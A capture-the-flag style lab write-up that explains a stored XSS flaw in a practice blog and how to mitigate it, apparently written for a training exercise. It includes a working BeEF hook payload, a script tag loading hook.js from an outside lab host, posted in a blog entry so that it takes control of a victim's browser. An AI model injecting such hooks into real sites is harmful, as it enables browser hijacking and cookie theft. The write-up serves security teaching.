XSS – BeEF Attack

Exercise XSS – BeEF Attack

1. Introduction

In this challenge you will learn how powerful an XSS vulnerability can be. You will use the Beef XSS shell to remote control a victim’s browser on a vulnerable web site.

Exploit a XSS vulnerability to inject the Beef code. Use the Beef XSS shell to execute code in the victim’s browser.

Please answer the following security questions in order to get full points for this challenge.

  1. Explain the security problem
  2. Explain your attack (exploit, screenshot, hacking journal)
  3. Explain mitigation (remedy)

2. Answers and Solution

2.1 Stored XSS Vulnerability

The Glockencommunity Blog is vulnerable to stored xss attacks.

Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

The data in question might be submitted to the application via HTTP requests; for example, comments on a blog post, user nicknames in a chat room, or contact details on a customer order. In other cases, the data might arrive from other untrusted sources; for example, a webmail application displaying messages received over SMTP, a marketing application displaying social media posts, or a network monitoring application displaying packet data from network traffic.

2.2 Attack step by step

Attacker logs in to the Glockencommunity with username hacker11
Set a Blogpost with vulnerable code and place a BeefHook (hook.js)

Exploit Code

<script src="https://c40999ce-c2c6-47ec-a047-75a6d0190036.idocker.vuln.land/hook.js"></script>

hacker12 is the victim. He also do a login to the Glockencommunity and can’t wait what his friend had posted.

As soon the victim reads the blogpost of hacker11 I can see victims browser session in BeEF. Let’s play and send him a message!

3. Mitigation

I’ll take most of the mitigation tipps from the last exersise.

To protect against stored XSS attacks, make sure any dynamic content coming from the data store cannot be used to inject JavaScript on a page.

  • Escape dynamic content:
" 	&#34
# 	&#35
& 	&#38
' 	&#39
( 	&#40
) 	&#41
/ 	&#47
; 	&#59
< 	&#60
> 	&#62

Escaping editable content in this way means it will never be treated as executable code by the browser. This closes the door on most XSS attacks.

  • Whitelist values

If a particular dynamic data item can only take a handful of valid values, the best practice is to restrict the values in the data store, and have your rendering logic only permit known good values. For instance, instead of asking a user to type in their country of residence, have them select from a drop-down list

  • Implement Content Security Policy

Modern browsers support Content-Security Policies that allow the author of a web-page to control where JavaScript (and other resources) can be loaded and executed from. XSS attacks rely on the attacker being able to run malicious scripts on a user’s web page – either by injecting inline <script> tags somewhere within the <html> tag of a page, or by tricking the browser into loading the JavaScript from a malicious third-party domain.

By whitelisting the URIs from which scripts can be loaded, you are implicitly stating that inline JavaScript is not allowed.

  • set http-only cookie

With BeEF you’ve a lot of options you can try with your victims browser session. One of this options is cookie stealing! Consider marking cookies as HTTP-only, meaning that cookies will be received, stored, and sent by the browser, but cannot be modified or read by JavaScript.

März 24, 2021 | Cybercop